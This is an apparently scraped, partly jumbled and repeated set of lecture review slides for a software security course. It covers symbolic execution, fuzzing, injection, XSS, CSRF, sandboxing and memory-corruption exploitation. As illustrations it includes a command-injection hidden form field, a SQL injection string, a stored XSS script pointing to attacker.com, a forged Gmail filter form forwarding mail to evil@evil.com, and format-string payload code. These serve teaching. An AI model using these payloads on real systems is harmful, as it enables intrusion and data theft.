review
play

Review 1 logistics CHALLENGE due before in-class fjnal Final - PowerPoint PPT Presentation

Review 1 logistics CHALLENGE due before in-class fjnal Final Exam Rice 130 (this room) 2PM 11 May 90 minutes target length similar to midterms more focus on post-last-midterm 2 late submissions not accepted without prior


  1. symbolic execution example false Adapted from Hicks, “Symbolic Execution for Finding Bugs” 100% test coverage fjnal step: generate solution for each path every variable represented as an equation b < 5 b < 5 void foo( int a, int b) { a != 0 false true 14 false true } assert(a + b != 5); } b += 4; if (a != 0) { a += b; } if (b < 5) { true a: α , b: β α � = 0 α = 0 b − = 2; a: α + β − 2 , b: β − 2 a: α , b: β α � = 0 ; β − 2 < 5 α � = 0 ; β − 2 ≥ 5 a = 0 ; β < 5 a = 0 ; β ≥ 5 a: α + β − 2 , b: β + 2 a: α + β − 2 , b: β − 2 a: α , b: β + 4 a: α , b: β α � = 0 ; β − 2 < 5 ; α + 2 β = 5 ? can happen: ( α, β ) = (5 , 0)

  2. symbolic execution example false Adapted from Hicks, “Symbolic Execution for Finding Bugs” 100% test coverage fjnal step: generate solution for each path every variable represented as an equation b < 5 b < 5 void foo( int a, int b) { a != 0 false true 14 false true } assert(a + b != 5); } b += 4; if (a != 0) { a += b; } if (b < 5) { true a: α , b: β α � = 0 α = 0 b − = 2; a: α + β − 2 , b: β − 2 a: α , b: β α � = 0 ; β − 2 < 5 α � = 0 ; β − 2 ≥ 5 a = 0 ; β < 5 a = 0 ; β ≥ 5 a: α + β − 2 , b: β + 2 a: α + β − 2 , b: β − 2 a: α , b: β + 4 a: α , b: β α � = 0 ; β − 2 < 5 ; α + 2 β = 5 ? can happen: ( α, β ) = (5 , 0)

  3. paths for memory errors true add bounds checking assertions — try to solve to satisfy in-bounds? a <= 10 void foo( int a, int b) { false false 15 true // added bounds-checking: char buffer[10]; } if (a <= 10) { assert(inBounds(buffer+a+b)); buffer[a + b] = b; } a: α , b: β , bufger: unset α ≤ 10 α > 10 a: α , b: β a: α , b: β α � = 0 ; 0 ≤ β + α ≤ 9 α ≤ 10 ; β + α > 10 or < 0 a: α , b: β , bufger[ α + β ]: β a: α , b: β

  4. tricky parts in symbolic execution dealing with pointers? one method: one path for each valid value of pointer solving equations? NP-hard (boolean satisfjablity) — not practical in general “good enough” for small enough programs/inputs …after lots of tricks how many paths? small input sizes (limited number of variables) 16 < 100% coverage in practice

  5. coverage-guided example a = 0x17, b = 0x00; covers: WY a = 0x15, b = 0x08; covers: WZ a = 0x17, b = 0x0c; covers: WZ a = 0x13, b = 0x08; covers: WZ a = 0x17, b = 0x08; covers: WZ … a = 0x17, b = 0x00; covers: WY found test case B: generate random tests based on A, B generate random tests based on A a = 0x37, b = 0x08; covers: WZ a = 0x04, b = 0x00; covers: WY a = 0x17, b = 0x01; covers: WZ a = 0x16, b = 0x00; covers: WY … a = 0x97, b = 0x00; covers: WYQ … a = 0x00, b = 0x08; covers: XY a = 0x37, b = 0x08; covers: WZ a = 0x17, b = 0x08; covers: WZ void foo( int a, int b) { // Y if (a != 0) { // W a += b; } else { // X } if (b < 5) { b += 4; initial test case A: if (a + b > 50) { // Q ... } } else { // Z } } 17 b − = 2;

  6. coverage-guided example a = 0x17, b = 0x00; covers: WY a = 0x37, b = 0x08; covers: WZ a = 0x15, b = 0x08; covers: WZ a = 0x17, b = 0x0c; covers: WZ a = 0x13, b = 0x08; covers: WZ a = 0x17, b = 0x08; covers: WZ … found test case B: generate random tests based on A, B void foo( int a, int b) { a = 0x37, b = 0x08; covers: WZ a = 0x04, b = 0x00; covers: WY a = 0x17, b = 0x01; covers: WZ a = 0x16, b = 0x00; covers: WY … a = 0x97, b = 0x00; covers: WYQ … a = 0x00, b = 0x08; covers: XY generate random tests based on A a = 0x17, b = 0x08; covers: WZ initial test case A: // Y if (a != 0) { // W a += b; } else { // X } if (b < 5) { b += 4; } if (a + b > 50) { // Q ... } } else { // Z } 17 b − = 2; a = 0x17, b = 0x00; covers: WY

  7. coverage-guided example a = 0x17, b = 0x00; covers: WY a = 0x15, b = 0x08; covers: WZ a = 0x17, b = 0x0c; covers: WZ a = 0x13, b = 0x08; covers: WZ a = 0x17, b = 0x08; covers: WZ … a = 0x17, b = 0x00; covers: WY found test case B: generate random tests based on A, B generate random tests based on A a = 0x37, b = 0x08; covers: WZ a = 0x04, b = 0x00; covers: WY a = 0x17, b = 0x01; covers: WZ a = 0x16, b = 0x00; covers: WY … a = 0x97, b = 0x00; covers: WYQ … a = 0x00, b = 0x08; covers: XY a = 0x37, b = 0x08; covers: WZ a = 0x17, b = 0x08; covers: WZ void foo( int a, int b) { // Y if (a != 0) { // W a += b; } else { // X } if (b < 5) { b += 4; initial test case A: if (a + b > 50) { // Q ... } } else { // Z } } 17 b − = 2;

  8. coverage-guided example found test case B: a = 0x37, b = 0x08; covers: WZ a = 0x15, b = 0x08; covers: WZ a = 0x17, b = 0x0c; covers: WZ a = 0x13, b = 0x08; covers: WZ a = 0x17, b = 0x08; covers: WZ … a = 0x17, b = 0x00; covers: WY a = 0x17, b = 0x00; covers: WY void foo( int a, int b) { generate random tests based on A, B a = 0x37, b = 0x08; covers: WZ a = 0x04, b = 0x00; covers: WY a = 0x17, b = 0x01; covers: WZ a = 0x16, b = 0x00; covers: WY … … a = 0x00, b = 0x08; covers: XY generate random tests based on A a = 0x17, b = 0x08; covers: WZ initial test case A: } if (a != 0) { // W a += b; } else { // X } if (b < 5) { // Y b += 4; if (a + b > 50) { // Q ... } } else { // Z } 17 b − = 2; a = 0x97, b = 0x00; covers: WYQ

  9. checking use-after-free (1) *quux = bar; static analysis can give warning — probably bad C (from allocated ): ok C (from freed ): USE-AFTER-FREE B: quux: freed A: quux: allocated } ... } // C int *someFunction( int foo, int bar) { if (Complex(bar)) { ... } // B free(quux); if (Complex(foo)) { // A int *quux = malloc( sizeof ( int )); 18

  10. checking use-after-free (1) *quux = bar; static analysis can give warning — probably bad C (from allocated ): ok C (from freed ): USE-AFTER-FREE B: quux: freed A: quux: allocated } ... } // C int *someFunction( int foo, int bar) { if (Complex(bar)) { ... } // B free(quux); if (Complex(foo)) { // A int *quux = malloc( sizeof ( int )); 18

  11. checking use-after-free (1) *quux = bar; static analysis can give warning — probably bad C (from allocated ): ok C (from freed ): USE-AFTER-FREE B: quux: freed A: quux: allocated } ... } // C int *someFunction( int foo, int bar) { if (Complex(bar)) { ... } // B free(quux); if (Complex(foo)) { // A int *quux = malloc( sizeof ( int )); 18

  12. checking use-after-free (1) } but maybe Complex(foo) == !Complex(bar) static analysis can give warning — probably bad C (from allocated ): ok C (from freed ): USE-AFTER-FREE B: quux: freed A: quux: allocated } ... *quux = bar; int *someFunction( int foo, int bar) { // C if (Complex(bar)) { ... } // B free(quux); if (Complex(foo)) { // A int *quux = malloc( sizeof ( int )); 18

  13. checking use-after-free (2) ... C (from freed ): DOUBLE-FREE B (from freed ): freed E (from allocated ): ok D (from allocated ): allocated E (from freed ): USE-AFTER-FREE D (from freed ): freed C (from allocated ): quux: freed B (from allocated ): allocated A: allocated } *quux++; // E } while (complexFunction()); void someFunction() { // D ... } // C free(quux); if (someFunction()) { ... // B do { // A ... int *quux = malloc( sizeof ( int )); 19

  14. checking use-after-free (2) ... C (from freed ): DOUBLE-FREE B (from freed ): freed E (from allocated ): ok D (from allocated ): allocated E (from freed ): USE-AFTER-FREE D (from freed ): freed C (from allocated ): quux: freed B (from allocated ): allocated A: allocated } *quux++; // E } while (complexFunction()); void someFunction() { // D ... } // C free(quux); if (someFunction()) { ... // B do { // A ... int *quux = malloc( sizeof ( int )); 19

  15. checking use-after-free (2) ... C (from freed ): DOUBLE-FREE B (from freed ): freed E (from allocated ): ok D (from allocated ): allocated E (from freed ): USE-AFTER-FREE D (from freed ): freed C (from allocated ): quux: freed B (from allocated ): allocated A: allocated } *quux++; // E } while (complexFunction()); void someFunction() { // D ... } // C free(quux); if (someFunction()) { ... // B do { // A ... int *quux = malloc( sizeof ( int )); 19

  16. checking use-after-free (2) ... C (from freed ): DOUBLE-FREE B (from freed ): freed E (from allocated ): ok D (from allocated ): allocated E (from freed ): USE-AFTER-FREE D (from freed ): freed C (from allocated ): quux: freed B (from allocated ): allocated A: allocated } *quux++; // E } while (complexFunction()); void someFunction() { // D ... } // C free(quux); if (someFunction()) { ... // B do { // A ... int *quux = malloc( sizeof ( int )); 19

  17. checking use-after-free (2) ... C (from freed ): DOUBLE-FREE B (from freed ): freed E (from allocated ): ok D (from allocated ): allocated E (from freed ): USE-AFTER-FREE D (from freed ): freed C (from allocated ): quux: freed B (from allocated ): allocated A: allocated } *quux++; // E } while (complexFunction()); void someFunction() { // D ... } // C free(quux); if (someFunction()) { ... // B do { // A ... int *quux = malloc( sizeof ( int )); 19

  18. checking use-after-free (2) ... C (from freed ): DOUBLE-FREE B (from freed ): freed E (from allocated ): ok D (from allocated ): allocated E (from freed ): USE-AFTER-FREE D (from freed ): freed C (from allocated ): quux: freed B (from allocated ): allocated A: allocated } *quux++; // E } while (complexFunction()); void someFunction() { // D ... } // C free(quux); if (someFunction()) { ... // B do { // A ... int *quux = malloc( sizeof ( int )); 19

  19. static analysis over symbolic execution can deal with hard cases by being imprecise can’t try every path? generalize generate false positives and/or false negatives can deal with hard cases with annotations “I promise this value is allocated here” “I promise this value is freed here” 20

  20. Rust disciplines each object has single owner — only deleter exactly one writer or many readers (never both) no reading internal pointers that then change alternate (runtime-tracked) rules: reference-counting, ‘dynamic’ borrowing 21 object may be borrowed from owner — owner can’t delete compiler tracking of lifetimes of borrowing

  21. a bug in FormMail.pl 1995 script example, write ”You have been hacked!” to index.html (if user script runs as can change it) < form action="http://example.com/formmail.pl" method="POST"> < input type="hidden" name="recipient" value="; echo 'You have been hacked!' >index.html" > ... < input type="submit"> </ form > view HTML in web browser, click submit button 22

  22. a game of twenty questions (2) SQL supports complicated queries: example: nested queries SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR ( SELECT 1 FROM documents WHERE document_id=1 AND substr(text, 0, 1) < 'M') OR '2'='1' “subquery” questions can be about difgerent subject matter 23

  23. better database APIs common idea: placeholders $statement = $db->prepare("SELECT * FROM users WHERE username=? AND password=?"); $statement->execute([$username, $password]); 24

  24. taint tracking rules (for injection) program input is tainted transitive values computed using tainted values are tainted what about control fmow? (multiple options) error if tainted values are passed to “sensitive” operations shell command SQL command … 25 except for explicit “sanitization” operations

  25. stored cross-site scripting <script> document.location = 'http://attacker.com'; </script> Your comment: Name: An Attacker 26

  26. evil client/innocent website attacker’s web browser vulnerable website command injection? email= "; dangerousCommand improperly trusted input? price= $0 27

  27. evil website/innoncent website victim user’s web browser attacker website victim website get some web page do something with victim website request chosen by attacker page with javascript chosen by attacker? injected command: “send secret cookie to attacker”? results of action chosen by attacker? secret values from victim website 28

  28. XSS mitigations host dangerous stufg on difgerent domain has difgerent cookies Content-Security-Policy server says “browser, don’t run scripts here” HttpOnly cookies server says “browser, don’t share this with code on the page” fjlter/escape inputs (same as normal command injection) 29

  29. operations not requiring same origin loading images, stylesheets (CSS), video, audio linking to websites loading scripts but not getting syntax errors accessing with “permission” of other website submitting forms to other webpages requesting/displaying other webpages (but not reading contents) 30

  30. same-origin policy two pages from same origin : scripts can do anything idea: difgerent websites can’t interfere with each other facebook can’t learn what you do on Google — unless Google allows it enforced by browser 31 two pages from difgerent origins : almost no information

  31. submitting forms </ form > pre fjlled out: match all messages; forward to evil@evil.com above form: 2007 GMail email fjlter form </ script > document.forms[0].submit(); < script > < input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> < form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" < input type="hidden" name="irf" value="on"/> < input type="hidden" name="s" value="z"/> ... < input type="hidden" name="cf2_email" value="evil@evil.com"/> < input type="hidden" name="cf2_emc" value="true"/> enctype="multipart/form-data"> 32 form will be submitted with the user’s cookies!

  32. Chrome architecture 33

  33. simple privilege seperation /* dangerous video decoder to isolate */ } displayImage(image); fread(image, sizeof (image), 1, fh); for (;;) { FILE *fh = RunProgramAndGetFileHandle("./video-decoder"); /* code that uses it */ } } doDangerousVideoDecoding(videoData, imageData); while (fread(videoData, sizeof (videoData), 1, stdin) > 0) { SetUserTo("user-without-privileges")); /* switch to right user */ int main() { 34 fwrite(imageData, sizeof (imageData), 1, stdout); fwrite(getNextVideoData(), SIZE, 1, fh);

  34. original Chrome sandbox interface needs fjltering — at least no file: (local fjle) URLs only permits fjles selected by user browser kernel displays fjle choser can’t choose arbitrary fjlenames fjles go to download directory only still sends normal cookies! can still read any website! send user input sandbox to browser “kernel” browser “kernel” to sandbox upload user requested fjles download fjles to local FS make request for this URL (using shared memory for speed) show this image on screen 35

  35. original Chrome sandbox interface needs fjltering — at least no file: (local fjle) URLs only permits fjles selected by user browser kernel displays fjle choser can’t choose arbitrary fjlenames fjles go to download directory only still sends normal cookies! can still read any website! send user input sandbox to browser “kernel” browser “kernel” to sandbox upload user requested fjles download fjles to local FS make request for this URL (using shared memory for speed) show this image on screen 35

  36. original Chrome sandbox interface needs fjltering — at least no file: (local fjle) URLs only permits fjles selected by user browser kernel displays fjle choser can’t choose arbitrary fjlenames fjles go to download directory only still sends normal cookies! can still read any website! send user input sandbox to browser “kernel” browser “kernel” to sandbox upload user requested fjles download fjles to local FS make request for this URL (using shared memory for speed) show this image on screen 35

  37. original Chrome sandbox interface needs fjltering — at least no file: (local fjle) URLs only permits fjles selected by user browser kernel displays fjle choser can’t choose arbitrary fjlenames fjles go to download directory only still sends normal cookies! can still read any website! send user input sandbox to browser “kernel” browser “kernel” to sandbox upload user requested fjles download fjles to local FS make request for this URL (using shared memory for speed) show this image on screen 35

  38. original Chrome sandbox interface needs fjltering — at least no file: (local fjle) URLs only permits fjles selected by user browser kernel displays fjle choser can’t choose arbitrary fjlenames fjles go to download directory only still sends normal cookies! can still read any website! send user input sandbox to browser “kernel” browser “kernel” to sandbox upload user requested fjles download fjles to local FS make request for this URL (using shared memory for speed) show this image on screen 35

  39. Exam 2 Stufg 36

  40. format string segfault printf arg 8 (%.92u) // "%c%c%c%c%c%c%.92u%n" // input: } printf(buffer); stdin); sizeof (buffer), fgets(buffer, char buffer[32]; void vulnerable() { printf arg 9 (%n) printf arg 7 (%c) increasing addresses printf ret. addr. vulnerable ret. addr. (use arg 9) u%n (use args 6-8) %c%c%.92 (use args 2-5) %c%c%c%c bufger printf ret. addr. 37

  41. format string overwrite: setup /* advance through 5 registers, then * 5 * 8 = 40 bytes down stack, outputting * 4916157 + 9 characters before using * %ln to store a long. */ fputs("%c%c%c%c%c%c%c%c%c%.4196157u%ln", stdout); /* include 5 bytes of padding to make current location * in buffer match where on the stack printf will be reading. */ fputs("?????", stdout); void *ptr = ( void *) 0x601038; /* write pointer value, which will include \0s */ fwrite(&ptr, 1, sizeof (ptr), stdout); fputs("\n", stdout); 38

  42. stack smashing: the tricky parts construct machine code that works in any executable same tricks as writing relocatable virus code usual idea: just execute shell (command prompt) construct machine code that’s valid input machine code usually fmexible enough fjnding location of return address fjxed ofgset from bufger fjnding location of inserted machine code 39

  43. guessed return-to-stack increasing addresses highest address (stack started here) lowest address (stack grows here) return address for vulnerable : 70 fd ff ff ff ff 00 00 (0x7fff ffff fd70) unused space (20 bytes) bufger (100 bytes) return address for scanf nops (was part of bufger) machine code (was bufger + unused) 40

  44. simpler overfmow: stack increasing addresses highest address (stack started here) lowest address (stack grows here) return address for giveQuiz score (4 bytes): 00 00 00 00 bufger (100 bytes) return address for gets aaaa… …aaaa input: 103 a ’s ( a = 0x61 ) 41

  45. simpler overfmow: stack increasing addresses highest address (stack started here) lowest address (stack grows here) return address for giveQuiz score (4 bytes): 61 61 61 00 bufger (100 bytes) return address for gets aaaa… …aaaa input: 103 a ’s ( a = 0x61 ) 41

  46. stack canary increasing addresses highest address (stack started here) lowest address (stack grows here) return address for vulnerable : 37 fd 40 00 00 00 00 00 (0x40fd37) canary: b1 ab bd e8 31 15 df 31 unused space (12 bytes) bufger (100 bytes) return address for scanf machine code for the attacker to run 42

  47. stack canary increasing addresses highest address (stack started here) lowest address (stack grows here) return address for vulnerable : 70 fd ff ff ff ff 00 00 (0x7fff ffff fd70) canary: ?? ?? ?? ?? ?? ?? ?? unused space (12 bytes) bufger (100 bytes) return address for scanf machine code for the attacker to run 42

  48. skipping the canary increasing addresses highest address (stack started here) lowest address (stack grows here) return address for f2b stack canary ptr (8 bytes) val (8 bytes) bufger (100 bytes) return address for scanf machine code for the attacker to run 43

  49. skipping the canary increasing addresses highest address (stack started here) lowest address (stack grows here) return address for f2b stack canary ptr (8 bytes) val (8 bytes) bufger (100 bytes) return address for scanf machine code for the attacker to run 43

  50. skipping the canary increasing addresses highest address (stack started here) lowest address (stack grows here) return address for f2b stack canary ptr (8 bytes) val (8 bytes) bufger (100 bytes) return address for scanf machine code for the attacker to run 43

  51. pointer subterfuge void f2b( void *arg, size_t len) { char buffer[100]; long *ptr = ...; /* assume on stack */ memcpy(buff, arg, len); /* overwrite ptr? */ *ptr = val; /* arbitrary memory write! */ } adapted from Pincus and Baker, Figure 2 44 long val = ...; /* assume on stack */

  52. pointer subterfuge void f2b( void *arg, size_t len) { char buffer[100]; long *ptr = ...; /* assume on stack */ memcpy(buff, arg, len); /* overwrite ptr? */ *ptr = val; /* arbitrary memory write! */ } adapted from Pincus and Baker, Figure 2 44 long val = ...; /* assume on stack */

  53. attacking the GOT increasing addresses highest address (stack started here) lowest address (stack grows here) return address for f2b stack canary ptr (8 bytes) val (8 bytes) bufger (100 bytes) return address for scanf global ofgset table GOT entry: printf GOT entry: fopen GOT entry: exit machine code for the attacker to run 45

  54. attacking the GOT increasing addresses highest address (stack started here) lowest address (stack grows here) return address for f2b stack canary ptr (8 bytes) val (8 bytes) bufger (100 bytes) return address for scanf global ofgset table GOT entry: printf GOT entry: fopen GOT entry: exit machine code for the attacker to run 45

  55. attacking the GOT increasing addresses highest address (stack started here) lowest address (stack grows here) return address for f2b stack canary ptr (8 bytes) val (8 bytes) bufger (100 bytes) return address for scanf global ofgset table GOT entry: printf GOT entry: fopen GOT entry: exit machine code for the attacker to run 45

  56. C++ inheritence: memory layout vtable pointer InputStream vtable pointer SeekableInputStream vtable pointer file_pointer FileInputStream slot for get slot for get slot for seek slot for tell FileInputStream::get FileinputStream::seek FileInputStream::tell 46

  57. NTP exploit picture memmove(( char *)datapt, dp, ( unsigned )dlen); datapt (global variable) (other global variables) bufger (global array) strlen GOT entry system() stub 47

  58. vulnerable stack layout increasing addresses return address for other saved %rbp local variables in other %rbp ( other ) %rsp ( other ) return address for vulnerable saved %rbp buffer %rbp ( vulnerable ) %rsp ( vulnerable ) %rbp ( other ) return address for other saved %rbp 48

  59. vulnerable stack layout increasing addresses return address for other saved %rbp local variables in other %rbp ( other ) %rsp ( other ) return address for vulnerable saved %rbp buffer %rbp ( vulnerable ) %rsp ( vulnerable ) %rbp ( other ) return address for other saved %rbp 48

  60. vulnerable stack layout increasing addresses return address for other saved %rbp local variables in other %rbp ( other ) %rsp ( other ) return address for vulnerable saved %rbp buffer %rbp ( vulnerable ) %rsp ( vulnerable ) %rbp ( other ) return address for other saved %rbp 48

  61. vulnerable stack layout increasing addresses return address for other saved %rbp local variables in other %rbp ( other ) %rsp ( other ) return address for vulnerable saved %rbp buffer %rbp ( vulnerable ) %rsp ( vulnerable ) %rbp ( other ) return address for other saved %rbp 48

  62. heap overfmow: adjacent allocations the heap bufger overfmowing result of first ’s vtable first ’s buffer second ’s vtable second ’s buffer increasing addresses attacker_controlled); class V { V *second = new V(...); V *first = new V(...); ... }; ... virtual void ...; public : char buffer[100]; 49 strcpy(first − >buffer,

  63. heap overfmow: adjacent allocations the heap bufger overfmowing result of first ’s vtable first ’s buffer second ’s vtable second ’s buffer increasing addresses attacker_controlled); class V { V *second = new V(...); V *first = new V(...); ... }; ... virtual void ...; public : char buffer[100]; 49 strcpy(first − >buffer,

  64. heap smashing next next prev size/free (or system() ?) shellcode GOT entry: fopen GOT entry: printf GOT entry: malloc GOT entry: free size/free prev free space char *buffer = malloc(100); size/free alloc’d object size/free prev next free space ... free(other_thing); free(buffer); ... strcpy(buffer, attacker_supplied); ... 50

  65. heap smashing next next prev size/free (or system() ?) shellcode GOT entry: fopen GOT entry: printf GOT entry: malloc GOT entry: free size/free prev free space char *buffer = malloc(100); size/free alloc’d object size/free prev next free space ... free(other_thing); free(buffer); ... strcpy(buffer, attacker_supplied); ... 50

  66. heap smashing next next prev size/free (or system() ?) shellcode GOT entry: fopen GOT entry: printf GOT entry: malloc GOT entry: free size/free prev free space char *buffer = malloc(100); size/free alloc’d object size/free prev next free space ... free(other_thing); free(buffer); ... strcpy(buffer, attacker_supplied); ... 50

  67. double-frees strcpy(q, attacker_controlled2); because double-free made loop in linked list malloc returns something still on free list size next prev thing alloc’d object size alloc’d object size prev next free space ... chosen address free(thing); // points to attacker- // q char *q = malloc(...); malloc(...); strcpy(p, attacker_controlled); blocks // on list of avail. // points to next/prev // p char *p = malloc(...); free(thing); 51

  68. double-frees strcpy(q, attacker_controlled2); because double-free made loop in linked list malloc returns something still on free list size next prev thing/p alloc’d object size alloc’d object size prev next free space ... chosen address free(thing); // points to attacker- // q char *q = malloc(...); malloc(...); strcpy(p, attacker_controlled); blocks // on list of avail. // points to next/prev // p char *p = malloc(...); free(thing); 51

  69. double-frees strcpy(q, attacker_controlled2); because double-free made loop in linked list malloc returns something still on free list size next prev thing/p alloc’d object size alloc’d object size prev next free space ... chosen address free(thing); // points to attacker- // q char *q = malloc(...); malloc(...); strcpy(p, attacker_controlled); blocks // on list of avail. // points to next/prev // p char *p = malloc(...); free(thing); 51

  70. double-free expansion // malloc/new 3: third malloc first/second malloc GOT entry: free (original fjrst free) (global) fjrst_free size next / double free’d object strcpy(result3, ...); result3 = first_free; 52 // free/delete 1: // malloc/new 2: strcpy(result1, ...); // + overwrite: result1 = first_free; // malloc/new 1: first_free = chunk // free/delete 2: first_free = chunk; double_freed − >next = first_free; double_freed − >next = first_free; first_free = first_free − >next; first_free = first_free − >next;

  71. double-free expansion // malloc/new 3: third malloc first/second malloc GOT entry: free (original fjrst free) (global) fjrst_free size next / double free’d object strcpy(result3, ...); result3 = first_free; 52 // free/delete 1: // malloc/new 2: strcpy(result1, ...); // + overwrite: result1 = first_free; // malloc/new 1: first_free = chunk // free/delete 2: first_free = chunk; double_freed − >next = first_free; double_freed − >next = first_free; first_free = first_free − >next; first_free = first_free − >next;

  72. double-free expansion // malloc/new 3: third malloc first/second malloc GOT entry: free (original fjrst free) (global) fjrst_free size next / double free’d object strcpy(result3, ...); result3 = first_free; 52 // free/delete 1: // malloc/new 2: strcpy(result1, ...); // + overwrite: result1 = first_free; // malloc/new 1: first_free = chunk // free/delete 2: first_free = chunk; double_freed − >next = first_free; double_freed − >next = first_free; first_free = first_free − >next; first_free = first_free − >next;

  73. double-free expansion // malloc/new 3: third malloc first/second malloc GOT entry: free (original fjrst free) (global) fjrst_free size next / double free’d object strcpy(result3, ...); result3 = first_free; 52 // free/delete 1: // malloc/new 2: strcpy(result1, ...); // + overwrite: result1 = first_free; // malloc/new 1: first_free = chunk // free/delete 2: first_free = chunk; double_freed − >next = first_free; double_freed − >next = first_free; first_free = first_free − >next; first_free = first_free − >next;

  74. double-free expansion // malloc/new 3: third malloc first/second malloc GOT entry: free (original fjrst free) (global) fjrst_free size next / double free’d object strcpy(result3, ...); result3 = first_free; 52 // free/delete 1: // malloc/new 2: strcpy(result1, ...); // + overwrite: result1 = first_free; // malloc/new 1: first_free = chunk // free/delete 2: first_free = chunk; double_freed − >next = first_free; double_freed − >next = first_free; first_free = first_free − >next; first_free = first_free − >next;

  75. use-after-free class Foo { data for Bar other data? vtable ptr (Bar)? data for Foo vtable ptr (Foo) something_else likely where the_foo was something_else = new Bar(...); ... delete the_foo; ... the_foo = new Foo; Foo *the_foo; }; ... 53 the_foo − >something();

  76. use-after-free class Foo { data for Bar other data? vtable ptr (Bar)? data for Foo vtable ptr (Foo) something_else likely where the_foo was something_else = new Bar(...); ... delete the_foo; ... the_foo = new Foo; Foo *the_foo; }; ... 53 the_foo − >something();

  77. integer overfmow example return NULL; 0x4 0000 0010 total_size = sizeof(item) = 0x10 len = 0x4000 0001 } return items; } } free(items); item *load_items( int len) { if (failed) { int failed = read_item(&items[i]); for ( int i = 0; i < len; ++i) { item *items = malloc(total_size); } return NULL; if (total_size >= LIMIT) { int total_size = len * sizeof ( item ); 54

  78. integer overfmow example return NULL; 0x4 0000 0010 total_size = sizeof(item) = 0x10 len = 0x4000 0001 } return items; } } free(items); item *load_items( int len) { if (failed) { int failed = read_item(&items[i]); for ( int i = 0; i < len; ++i) { item *items = malloc(total_size); } return NULL; if (total_size >= LIMIT) { 54 int total_size = len * sizeof ( item );

  79. program memory (x86-64 Linux; ASLR) Used by OS why are these addresses fjxed? Code + Constants Writable data Heap (brk/sbrk) Dynamic/Libraries (mmap) Stack 0x0000 0000 0040 0000 0xFFFF FFFF FFFF FFFF (constants + 2MB alignment) 0x0000 0000 0060 0000* (fjlled from top with ASLR) 0xFFFF 8000 0000 0000 55 ± 0x004 0000 0000 ± 0x100 0000 0000 ± 0x200 0000

Recommend


More recommend